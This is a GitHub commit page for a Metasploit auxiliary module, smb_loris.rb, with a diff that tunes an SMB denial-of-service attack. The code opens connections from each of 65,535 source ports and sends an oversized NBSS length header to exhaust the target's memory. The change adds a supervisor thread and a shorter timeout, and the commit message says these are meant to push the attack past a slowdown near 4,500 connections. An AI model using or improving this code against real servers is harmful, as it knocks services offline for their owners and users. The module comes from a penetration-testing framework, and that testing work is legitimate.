Skip to content

Commit e73ffe6

Browse files
David MaloneyDavid Maloney
authored andcommitted
tried adding supervisor model to smbloris
tried to overcome issues with slowdown around the 4500 connection mark by using the supervisor pattern to terminate the threads on the backend. this seems to get us further, but we still hit a slowdown and the allocations die out before we hit any serious usage
1 parent c9da2d5 commit e73ffe6

File tree

1 file changed

+18
-5
lines changed

1 file changed

+18
-5
lines changed

modules/auxiliary/dos/smb/smb_loris.rb

Lines changed: 18 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
##
55

66
require 'bindata'
7+
require 'ruby_smb'
78

89
class MetasploitModule < Msf::Auxiliary
910
include Msf::Exploit::Remote::Tcp
@@ -49,33 +50,45 @@ def run
4950
header = NbssHeader.new
5051
header.message_length = 0x01FFFF
5152

53+
worker_threads = Queue.new
54+
55+
supervisor = Thread.new do
56+
loop do
57+
zombie_thread = worker_threads.pop(true)
58+
unless zombie_thread.nil?
59+
zombie_thread.kill
60+
end
61+
end
62+
end
63+
5264
linger = Socket::Option.linger(true, 30)
5365

5466
(1..65535).each do |src_port|
5567
print_status "Sending packet from Source Port: #{src_port}"
5668
mythr = Thread.new do
5769
opts = {
5870
'CPORT' => src_port,
59-
'ConnectTimeout' => 300
71+
'ConnectTimeout' => 30
6072
}
6173

6274
begin
75+
#nsock = Socket.tcp(rhost, rport, '0.0.0.0' , src_port)
6376
nsock = connect(false, opts)
6477
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
78+
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_REUSEADDR, true)
6579
nsock.setsockopt(linger)
6680

67-
nsock.put(header.to_binary_s)
81+
nsock.write(header.to_binary_s)
6882
rescue Exception => e
6983
print_error "Exception sending packet: #{e.message}"
7084
end
7185

7286
end
73-
# select(nil, nil, nil, 0.0001)
74-
# mythr.kill
87+
worker_threads << mythr
7588
end
7689
print_status "Sleeping for 30 seconds..."
7790
select(nil, nil, nil, 30)
78-
91+
supervisor.kill
7992
end
8093

8194
end

0 commit comments

Comments
 (0)